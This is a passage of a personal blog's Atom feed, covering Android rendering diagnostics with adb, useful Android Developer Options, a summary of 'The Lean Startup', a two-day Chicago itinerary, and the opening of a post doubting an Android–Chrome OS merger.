<a href="https://developer.android.com/studio/profile/traceview.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Android Device Monitor</a> for identifying the culprits.</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Bash
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">6
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">7
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ adb shell dumpsys gfxinfo com.google.android.gm
</span></span><span style="display:flex;"><span>...
</span></span><span style="display:flex;"><span>Janky frames: <span style="color:#2aa198">10337</span> <span style="color:#719e07">(</span>12.37%<span style="color:#719e07">)</span>
</span></span><span style="display:flex;"><span>90th percentile: 17ms
</span></span><span style="display:flex;"><span>95th percentile: 25ms
</span></span><span style="display:flex;"><span>99th percentile: 69ms
</span></span><span style="display:flex;"><span>...</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>And, by the way,   
    
    
<a href="https://developer.android.com/reference/android/view/Choreographer.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Choreographer</a> is the class that does the actual rendering work.</p>
]]></content><category scheme="https://ashishb.net/category/programming" term="programming" label="programming"/><category scheme="https://ashishb.net/tag/android" term="android" label="android"/><category scheme="https://ashishb.net/tag/android-development" term="android-development" label="android-development"/></entry><entry><title type="html">Built-in "Developer options" in Android</title><link href="https://ashishb.net/programming/built-in-developer-options-in-android/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/programming/demystifying-android-rendering/?utm_source=atom_feed" rel="related" type="text/html" title="Demystifying Android rendering: Jank and ANR"/><link href="https://ashishb.net/programming/troublshooting-android-emulator-emulator-process-finished-with-exit-code-1/?utm_source=atom_feed" rel="related" type="text/html" title="Troubleshooting Android Emulator: Process finished with exit code 1"/><link href="https://ashishb.net/programming/circle-ci-vs-travis-ci/?utm_source=atom_feed" rel="related" type="text/html" title="Circle CI vs Travis CI"/><link href="https://ashishb.net/programming/android-fragment-related-pitfalls-and-how-to-avoid-them/?utm_source=atom_feed" rel="related" type="text/html" title="Android: Fragment related pitfalls and how to avoid them"/><link href="https://ashishb.net/programming/android-handling-jpeg-images-with-exif-orientation-flags/?utm_source=atom_feed" rel="related" type="text/html" title="Android: Handling JPEG images with Exif orientation flags"/><id>https://ashishb.net/programming/built-in-developer-options-in-android/</id><author><name>Ashish Bhatia</name></author><published>2016-09-04T06:31:24+00:00</published><updated>2016-09-04T06:31:24+00:00</updated><content type="html"><![CDATA[<blockquote>Discover essential Android Developer Options for debugging, including activity management and GPU profiling. Unlock hidden features to enhance app testing effortlessly.</blockquote><p>Android has a few good settings built right into the platform for debugging under a hidden &ldquo;Developer Options&rdquo; menu. You can turn them on via Settings -&gt; About Phone -&gt; Build Number (tap 7 times). The steps will be similar but might   
    
    
<a href="https://www.greenbot.com/article/2457986/how-to-enable-developer-options-on-your-android-phone-or-tablet.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">vary</a> a bit across OEMs. In older versions of Android, this used to be an explicit option under the Settings tab.</p>
<p>I find the following options to be useful for the development</p>
<ol>
<li>
<p><strong>Don&rsquo;t keep activities</strong>
Android can destroy any activity that is not visible in the foreground at all. The phrase <code>destroy</code> is a bit of a misnomer here since activity will be allowed to preserve its state (via   
    
    
<a href="https://developer.android.com/training/basics/activity-lifecycle/recreating.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">saveInstanceState</a>). This option allows you to force that on all apps. It is harder to keep this option always on since many badly designed Android apps misbehave and even the good ones have a deteriorated performance due to repeated re-creation. I wish there was a way to force this only on the app under development.</p>
</li>
<li>
<p><strong>Force RTL layout direction</strong>
to test your app&rsquo;s look &amp; feel in an RTL language like Hebrew or Urdu. This option is useful since it reveals evolving and varied behavior across different versions of Android <img alt="rtl_forced" loading="lazy" src="/programming/built-in-developer-options-in-android/rtl_forced-169x300.png"></p>
</li>
<li>
<p><strong>Profile GPU rendering</strong>
Shows a nice cool graph of the load on the UI thread and when your app   
    
    
<a href="https://developer.android.com/studio/profile/dev-options-rendering.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">fails</a> to render a frame in Android recommends a 16 milliseconds timeframe.</p>
<figure>
       
       <a href="gpu-rendering-profile.jpeg" data-dimbox="" data-dimbox-caption="" >
       <img loading="lazy" src="gpu-rendering-profile.jpeg"
            alt="GPU rendering profile indicating frame rendering performance metrics in Android" width="900"/> </a>
   </figure>

</li>
<li>
<p><strong>Stay awake [while charging]</strong>
when you don&rsquo;t want your screen to turn off while it&rsquo;s charging [&amp; connected to your laptop for the development]. I wish Google provided a &ldquo;Stay awake while USB debugging&rdquo; option.</p>
</li>
<li>
<p><strong>Verify apps over USB</strong>
Disable it unless you don&rsquo;t trust the app you are working on</p>
</li>
<li>
<p><strong>Pointer Location</strong>
This option draws a set of perpendicular lines at the point of touch, useful to see if a set of views (like buttons, text fields, etc.) align or not.</p>
</li>
<li>
<p><strong>Show Layout bounds</strong>
shows the bounds of all the views, annoying to always keep on but useful for quick testing.</p>
</li>
<li>
<p><strong>Debug GPU overdraw</strong>
Google   
    
    
<a href="https://www.youtube.com/watch?v=T52v50r-JfE&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">recommends</a> it, but I have rarely seen any benefits of turning this on since due to animation, overdraw is almost always present.</p>
</li>
<li>
<p><strong>Running services</strong>
You can check out your app and see if it is listed and is running some spurious service in the background. <img alt="Running apps" loading="lazy" src="/programming/built-in-developer-options-in-android/running_app-169x300.png"></p>
</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/programming" term="programming" label="programming"/><category scheme="https://ashishb.net/tag/android" term="android" label="android"/><category scheme="https://ashishb.net/tag/android-development" term="android-development" label="android-development"/></entry><entry><title type="html">Book summary: The Lean Startup by Eric Ries</title><link href="https://ashishb.net/book-summary/the-lean-startup/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/book-summary/hard-things-about-hard-things/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: Hard Things about Hard Things by Ben Horowitz"/><link href="https://ashishb.net/book-summary/remote-office-not-required/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: Remote - office not required"/><link href="https://ashishb.net/book-summary/great-by-choice/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: Great By Choice by Jim Collins"/><link href="https://ashishb.net/book-summary/one-up-on-wall-street/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: One up on Wall Street by Peter Lynch"/><link href="https://ashishb.net/book-summary/thinking-in-bets/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: Thinking In Bets by Annie Duke"/><id>https://ashishb.net/book-summary/the-lean-startup/</id><author><name>Ashish Bhatia</name></author><published>2016-09-03T16:00:38+00:00</published><updated>2016-09-03T16:00:38+00:00</updated><content type="html"><![CDATA[<blockquote>Unlock startup success with lessons from IMVU: validated learning, rapid experimentation, and strategic pivots drive growth. Discover insights for your startup journey!</blockquote><p>The   
    
    
<a href="https://amzn.to/231bXbL?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">book</a> consists of the learnings which the author had while working on his startup   
    
    
<a href="https://www.imvu.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">IMVU</a>. The book focuses on the concept of validated learning and the build-measure-learn feedback loop. It tries to bring in a systematic approach to measuring the progress of a startup. A startup has a true north, its <em>vision</em>. It employs a <em>strategy</em> that includes a business model, a product roadmap, and a view of partners, competitors, and customers. The <em>product</em> is the result of the strategy. Products constantly change ( <em>engine tuning</em>). Strategy changes occasionally ( <em>pivot</em>). Vision rarely changes. In general management, failure to deliver results is caused by failure to plan or failure to execute. Both are frowned upon. But in the modern economy, both are useful tools for testing new ideas.</p>
<h2 id="vision">Vision</h2>
<p>A startup is a human institution designed to create a new product or a service under conditions of extreme uncertainty. Success under such scenarios requires rapid experimentation.</p>
<h3 id="learning">Learning</h3>
<p>There is a lot of learning involved in the process, and sometimes, when things go south, people resort to saying, &ldquo;I learned a lot&rdquo;. What&rsquo;s more important is to figure out   
    
    
<a href="https://www.startuplessonslearned.com/2009/04/validated-learning-about-customers.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">validated learning</a>. The goal is to cut down to the absolute minimum effort required to learn what customers want and eliminate everything else. Eric Ries wrote 3-D avatars as IM add-ons for popular IMs in 2004. During the user testing phase, he realized that not only do users not understand what an add-on is, but they also don&rsquo;t mind installing a new IM software. A lot of heavy IM integration turned out to be a waste of effort. After this, Eric and his team launched several experiments regularly to test what works and what doesn&rsquo;t.</p>
<p>Another counter-intuitive thing that IMVU experimented with is charging early. Many startups delay charging their customers. Not having any revenue is better than having low revenue since the former invites the imagination of overnight success once they start charging. The downside is that it can lead to the creation of a product no one is willing to pay for. Conclusion: start with a low-quality prototype, charge customers from day one, and use low-volume revenue targets for accountability.</p>
<h3 id="experiment">Experiment</h3>
<p>  
    
    
<a href="https://fortune.com/2012/09/05/nick-swinmurn-zappos-silent-founder/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Nick Swinmurn</a> had a hypothesis that people will buy shoes online. Rather than purchasing inventory upfront, he took photos of shoes at local shoe stores, and if the users bought them, he would buy and ship them to them. This minimum product tested customer demand as well as many other business issues like payments, returns, and customer interaction. Amazon acquired Zappos   
    
    
<a href="https://www.fastcompany.com/3000591/how-tony-hsieh-pivoted-zappos-12-billion-amazon-acquisition?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">acquired</a> for $1.2 Billion.</p>
<ol>
<li>An experiment starts with a hypothesis. A value hypothesis tests whether the product/service will deliver value to its users. A growth hypothesis tests whether new customers will be able to discover the service.</li>
<li>To test the value hypothesis, find some customers to experiment with. Don&rsquo;t go for an average customer but find an early adopter, whose needs are most accurately served by the product.</li>
<li>Now, build a   
    
    
<a href="https://ibuildmvps.com/blog/the-concierge-minimum-viable-product-maximizes-customer-learning?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">concierge minimum viable product</a>. Such early adopters are more forgiving of the quality of the product, and their feedback is useful to know whether the product fulfilled their needs or not. If users complain about a missing feature and they&rsquo;re on the roadmap, that&rsquo;s a good thing, since it implies that the team understands their customer. If there is a feature that is on the roadmap, but the user does not complain about it being missing, then that&rsquo;s an indication to remove that feature.</li>
<li>The results will guide you to validate the hypothesis.</li>
</ol>
<h2 id="steer">Steer</h2>
<p>The Build-measure-learn feedback loop is at the core of the Lean Startup model. After building the MVP, the goal is to rapidly learn and iterate upon the product based on the user&rsquo;s feedback.</p>
<h3 id="leap">Leap</h3>
<p>All startups make some assumptions (leaps of faith) about their viability. In the case of the iPod, there were two assumptions, users would put earphones in a public place (&ldquo;analogous to Walkman&rdquo;), and they would pay for the music (&ldquo;antilogous to Napster&rdquo;).  Only the second one was a leap of faith. Verifying these assumptions is paramount. Toyota does it via <em>Genchi Gembutsu</em> (&ldquo;go and see for yourself&rdquo;). Toyota&rsquo;s minivan, Sienna&rsquo;s chief engineer, drove through North America. He realized that kids are most appreciative of their environment and launched the new model with a particular focus on interior comfort for long trips. This led to significant   
    
    
<a href="https://toyotanews.pressroom.toyota.com/releases/parents-edmunds-toyota-sienna-top-10-family-car-year.htm?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">success</a> for Toyota. Scott Cook, the founder of Intuit, believed that someday people would use a computer to pay bills and track expenses. He verified that the market for such a product by calling random people over the phone. One pitfall to avoid here is analysis paralysis. One can keep repeatedly talking to customers and whiteboarding over and over again. But many errors in such a strategy would go unnoticed since they depend on subtle interactions between the user and the product.</p>
<h3 id="test">Test</h3>
<p>Groupon started as a &ldquo;collective activism platform&rdquo;. That assumption failed. Andrew Mason   
    
    
<a href="https://github.com/ashishb/startup_school_2014/blob/master/andrew_mason.md?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">experimented</a> with a WordPress blog and a mailing list to sell discount coupons. They had no fancy forms on the site. The idea took off, and slowly every aspect of it was automated. It is essential to get early results with a buggy product and then to perfect about based on assumptions that might not hold in the future. It is counter-intuitive for entrepreneurs who want to build a high-quality product.</p>
<p>Drew Houston had a hard time convincing investors about DropBox. VCs thought that the market is crowded, no one made money, and the problem was not an important one. Drew believed that all that was because all the current products were of low quality. Rather than spending years doing thorough integrations, he made an excellent video demonstrating the seamless behavior.</p>
<p>  
    
    
<a href="https://en.wikipedia.org/wiki/Wizard_of_Oz_experiment?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Wizard of Oz</a> is a useful testing process for such situations. Rather than building an automated system, fake it with a human. It is faster for learning what users want.</p>
<p>Sometimes, a user&rsquo;s quality metrics are very different. Users care about how much they enjoy the product, not how much time was spent building it. IMVU had no time to build a smooth movement of avatars from one place to another. So, they decided to, and were ashamed of, cheat by making the avatar re-appear at the destination instantly. Users rated this teleportation among the top three most liked features. Therefore, it is of paramount importance to remove any feature, process, or effort which does not contribute to the learning you seek.</p>
<p>Some entrepreneurs fear the competition that MVP will bring in, usually, from large companies. Most of the time, the Product Managers at tig companies are overwhelmed by good ideas. If not, they can still copy the product at a later stage. And the fear of being out-executed remains.</p>
<h3 id="measure">Measure</h3>
<p>After building an MVP and putting it out for the early adopters, test the riskiest assumptions first. Now define a baseline metric, a hypothesis to improve the metric, and a set of experiments targeted towards the same. Once you have the results, decide whether to pivot or persevere. One of the biggest dangers is getting stuck with vanity metrics like total registered users. They paint a rosy picture but ddonot tell you whether the product improvements are making it better for the user or not. AAA (actionable-accessible-auditable) metric would measure the impact of a particular feature.</p>
<p>  
    
    
<a href="https://grockit.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Grockit</a> followed the Kanban model, where there are four buckets - backlog -&gt; in progress -&gt; built -&gt; validated. Each was containing at most three features. After validation, either they made the feature or discarded it.</p>
<h3 id="pivot-or-persevere">Pivot or Persevere</h3>
<p>A startup&rsquo;s runway is the number of pivots it can make.   
    
    
<a href="https://en.wikipedia.org/wiki/Votizen?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Votizen</a> started as a social network for verified voters to discuss civic actions.  That did not take off. Then it pivoted to @2gov, which allows users to recruit more verified voters for their petitions. This product has higher usage, but still, very few were willing to pay for it. They pivoted further to businesses as customers, who, despite signing the letter of intent, decide to eventually not buy the product. The final pivot was to use Google Adwords for acquiring users who want to pay to acquire more users. That worked out. Startup Visa Act was solely a result of that social lobbying.</p>
<p>Wealthfront pivoted from a virtual stock trading/gaming platform to an online service offering money management by professional money managers (ashishb&rsquo;s note: and after the book was written, further to index-based investing).</p>
<p>Most entrepreneurs regret delaying the pivot. Vanity metrics, not having a clear success hypothesis, and being afraid of tailure, are the usual causes of delaying the pivot.</p>
<p>Types of pivots</p>
<ol>
<li>Zoom-in Pivot- A popular feature becomes the new product. Votizen moved from a voter social network to a voter contact product.</li>
<li>Zoom-out Pivot - The current product becomes a feature of the new product.</li>
<li>Customer segment Pivot - The target customers change.</li>
<li>Customer needs Pivot - where the customer base remains the same, but the product changes to suit them more.   
    
    
<a href="https://www.potbelly.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Potbelly Sandwich</a> shop started as an antique store in 1977. It decided to sell sandwiches to bolster traffic. It eventually pivoted to become a sandwich shop.</li>
<li>Platform Pivot - The product changes from a single-use product to a platform for other products.</li>
<li>Business Architecture Pivot - Geoffrey Moore observed that most companies follow either a hhigh-margin low volume model; or a llow-margin high volume product. The former is usually for B2B, and the latter is generally for B2C. A business architecture pivot is jumping from one to the other or vice versa.</li>
<li>Value Capture Pivot - where the way business makes money changes.</li>
<li>The Growth Engine Pivot - The business&rsquo; way of reaching new customers changes.</li>
<li>Channel Pivot - The distribution channel for the product changes.</li>
<li>Technology Pivot - The underlying technology to do task changes.</li>
</ol>
<p>When pivoting to a strategy followed by a successful company, it is crucial to copy the essential and not just the superficial features.</p>
<h2 id="accelerate">Accelerate</h2>
<h3 id="batch">Batch</h3>
<p>It is counterintuitive, but smaller batches are much better for lean startups. They appear inefficient but allow faster turnaround for the product leading to a more rapid iterative cycle. It helps in the earlier detection of a problem as well as quick feedback from the customers. Toyota used the small-batch approach to compete with its much more capitalized American counterparts whose batch sizes were relatively bigger.</p>
<h3 id="grow">Grow</h3>
<p>New customers come from the actions of past customers. They inform others, end up showing the product to others, or end up purchasing the product again. Sabeer Bhatia grew Hotmail by adding a signature &ldquo;Get your free e-mail at Hotmail&rdquo; to every outgoing email. If you are asking whether your startup has achieved a product/market fit, then you are not there yet. When the product/market fit happens, it leaves no room for doubt.</p>
<h3 id="adapt">Adapt</h3>
<p>As a startup grows, it has to adapt to the changing customer base. Early adopters are more forgiving of the quality; later ones are not.   
    
    
<a href="https://www.isixsigma.com/tools-templates/cause-effect/determine-root-cause-5-whys/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Five whys</a> help one to diagnose the problems and build the right set of things that should go into an employee training manual.</p>
<h3 id="innovate">Innovate</h3>
<p>Big companies can innovate, but for that to happen, they should secure resources for internal teams, provide an independent development authority, and the internal team should get a stake in the outcome. Toyota calls the manager in charge of running the development of a new vehicle, <em>shusa</em> (Chief Engineer). The parent organization must be protected to create this platform for experimentation. If the existing managers feel threatened, they will have the incentive to work against the new project. Also, if such a unit is kept hidden, it will attract more political battles since existing executives will be wondering what else could be hiding. Therefore, any team should complete ownership to run an experiment and see the end-to-end results. Every company has to deal with four types of work - launching a new product, scaling it for broad adoption, combating its commoditization by incremental improvements,  and maintenance of the product in the long run as a part of the company&rsquo;s product line. All the steps are essential, but the last stage of becoming the status quo is a hard one to swallow as an entrepreneur.</p>
]]></content><category scheme="https://ashishb.net/category/book-summaries" term="book-summaries" label="book-summaries"/><category scheme="https://ashishb.net/tag/book-summaries" term="book-summaries" label="book-summaries"/><category scheme="https://ashishb.net/tag/technology" term="technology" label="technology"/></entry><entry><title type="html">Chicago in 2 Days</title><link href="https://ashishb.net/travel/chicago/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/oahu-hawaii/?utm_source=atom_feed" rel="related" type="text/html" title="Five days in Oahu, Hawaii"/><link href="https://ashishb.net/travel/point-roberts/?utm_source=atom_feed" rel="related" type="text/html" title="A day at Point Roberts"/><link href="https://ashishb.net/travel/boston/?utm_source=atom_feed" rel="related" type="text/html" title="Boston in 2 Days"/><link href="https://ashishb.net/travel/seattle/?utm_source=atom_feed" rel="related" type="text/html" title="Seattle in 2 Days"/><link href="https://ashishb.net/travel/philadelphia/?utm_source=atom_feed" rel="related" type="text/html" title="Philadelphia in 3 days"/><id>https://ashishb.net/travel/chicago/</id><author><name>Ashish Bhatia</name></author><published>2016-08-20T16:00:30+00:00</published><updated>2016-08-20T16:00:30+00:00</updated><content type="html"><![CDATA[<blockquote>Discover Chicago&rsquo;s stunning skyline from Willis Tower, explore art treasures, experience quirky comedy, and enjoy iconic parks—all in two unforgettable days!</blockquote><h3 id="day-1">Day 1</h3>
<p>We started our trips with   
    
    
<a href="https://www.tripadvisor.com/Attraction_Review-g35805-d103238-Reviews-Skydeck_Chicago_Willis_Tower-Chicago_Illinois.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Willis (Sears) Tower</a> at 9 AM, the 40$ on the spot ticket was worth it, the tower provides some really beautiful views of Chicago. We spent about two hours there.</p>
<figure>
    
    <a href="IMG_20140913_093817-300x225.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_20140913_093817-300x225.jpg"
         alt="Willis Tower" width="300"/> </a>
</figure>

<p>From there, we continued our journey to   
    
    
<a href="https://www.tripadvisor.com/Attraction_Review-g35805-d103239-Reviews-Art_Institute_of_Chicago-Chicago_Illinois.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Art Institute of Chicago</a>. At 23$ the price felt slightly steep but if you are into arts, I would recommend 1-2 hours here as well.</p>
<figure>
    
    <a href="IMG_20140913_110454-225x300.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_20140913_110454-225x300.jpg"
         alt="A dimly lit interior displays a large, colorful abstract painting mounted on a wall" width="225"/> </a>
</figure>

<p>Post-lunch, we headed to the famous   
    
    
<a href="https://www.tripadvisor.com/Attraction_Review-g35805-d563697-Reviews-Blue_Man_Group-Chicago_Illinois.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Blue Man (comedy) show</a>, it is contemporary but still whacky. A must-do.</p>
<p><img alt="Blue Man" loading="lazy" src="/travel/chicago/IMG_20140913_154945-1-225x300.jpg"></p>
<p>We decided to check out   
    
    
<a href="https://www.tripadvisor.com/Attraction_Review-g35805-d278811-Reviews-Millennium_Park-Chicago_Illinois.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Millennium Park</a> which has the Crown Fountain and Cloud Gate (&ldquo;The Bean&rdquo;).</p>
<figure>
    
    <a href="IMG_20140913_170651-225x300.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_20140913_170651-225x300.jpg"
         alt="The Bean, located in Millennium Park, Chicago. It is a stainless steel sculpture reflects the surrounding skyline and visitors." width="225"/> </a>
</figure>

<figure>
    
    <a href="IMG_20140913_171812-300x225.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_20140913_171812-300x225.jpg"
         alt="A public sculpture known as &#39;The Bean&#39; in Chicago&#39;s Millennium Park, reflecting the city skyline and sky, surrounded by visitors taking photos." width="300"/> </a>
</figure>

<p>The last item of our day was   
    
    
<a href="https://www.tripadvisor.com/Attraction_Review-g35805-d563701-Reviews-Chicago_Shakespeare_Theater_on_Navy_Pier-Chicago_Illinois.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Chicago Shakespeare Theater</a>. It is on a Navy Pier, worth taking a stroll. We watched a   
    
    
<a href="https://www.chicagoshakes.com/plays_and_events/lear?perfno=10747&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Shakespearean</a> show. If you are planning to attend, I would highly recommend reading the full story in advance. The language, the actions, and the speed are too difficult to follow if you don&rsquo;t know the story. Mudit realized that I didn&rsquo;t.</p>
<h2 id="day-2">Day 2</h2>
<p>We started the day with the   
    
    
<a href="https://www.tripadvisor.com/Attraction_Review-g35805-d131645-Reviews-Museum_of_Science_and_Industry-Chicago_Illinois.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Museum of Science &amp; Industry</a>. It&rsquo;s huge and impressive. Do check out the live demos if you are there. We dissected a cow&rsquo;s eye as a part of a medical experiment. We ended up spending about four hours there and had to cancel the next visit to   
    
    
<a href="https://oi.uchicago.edu/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Oriental Institute Musem</a>.</p>
<figure>
    
    <a href="IMG_20140914_125541-222x300.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_20140914_125541-222x300.jpg"
         alt="Museum of Science and Industry" width="222"/> </a>
</figure>

<p>Afterward, we headed to   
    
    
<a href="https://www.tripadvisor.com/Attraction_Review-g35805-d109779-Reviews-The_Magnificent_Mile-Chicago_Illinois.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Magnificent Mile</a> and took another stroll around Millennium park, and it was time for our respective flights by then.</p>
<figure>
    
    <a href="IMG_20140914_173104-1-222x300.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_20140914_173104-1-222x300.jpg"
         alt="Magnificent mile" width="222"/> </a>
</figure>

<p>Note:</p>
<ol>
<li>The city is 
<a href="/travel/public-transport-guide/">public transport</a> friendly. Don&rsquo;t worry about getting a rental car.</li>
<li>Try out the Chicago deep-crust pizza.</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/travel" term="travel" label="travel"/><category scheme="https://ashishb.net/tag/chicago" term="chicago" label="chicago"/><category scheme="https://ashishb.net/tag/usa" term="usa" label="usa"/></entry><entry><title type="html">The Android-Chrome merger saga</title><link href="https://ashishb.net/tech/the-android-chrome-merger-saga/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/tech/when-aggregation-works-and-when-it-doesnt/?utm_source=atom_feed" rel="related" type="text/html" title="When aggregation works and when it doesn't"/><link href="https://ashishb.net/tech/startup-valuations/?utm_source=atom_feed" rel="related" type="text/html" title="Startup valuations"/><link href="https://ashishb.net/tech/voice-interfaces-the-missing-ux/?utm_source=atom_feed" rel="related" type="text/html" title="Voice Interfaces: The Missing User Interaction Element"/><link href="https://ashishb.net/tech/google-io-2016-android-notes/?utm_source=atom_feed" rel="related" type="text/html" title="Google I/O 2016: Android notes"/><link href="https://ashishb.net/tech/standardization/?utm_source=atom_feed" rel="related" type="text/html" title="Standardization"/><id>https://ashishb.net/tech/the-android-chrome-merger-saga/</id><author><name>Ashish Bhatia</name></author><published>2016-08-13T18:00:00+00:00</published><updated>2016-08-13T18:00:00+00:00</updated><content type="html"><![CDATA[<blockquote>Debunking Android-Chrome OS merger myths, we explore why merging can lead to convoluted outcomes. Discover why specialization trumps generalization.</blockquote><p>Articles with the following titles would be considered a joke</p>
<ol>
<li>
<p>&ldquo;BMW is planning to merge its series i5 cars and Motorrad bikes&rdquo;</p>
</li>
<li>
<p>&ldquo;P&amp;G is planning to merge tissue paper and toilet paper&rdquo;</p>
</li>
<li>
<p>&ldquo;Arm and Hammer is working on merging face wash, body soap, shampoo, laundry detergent, and dish cleaner&rdquo;</p>
</li>
</ol>
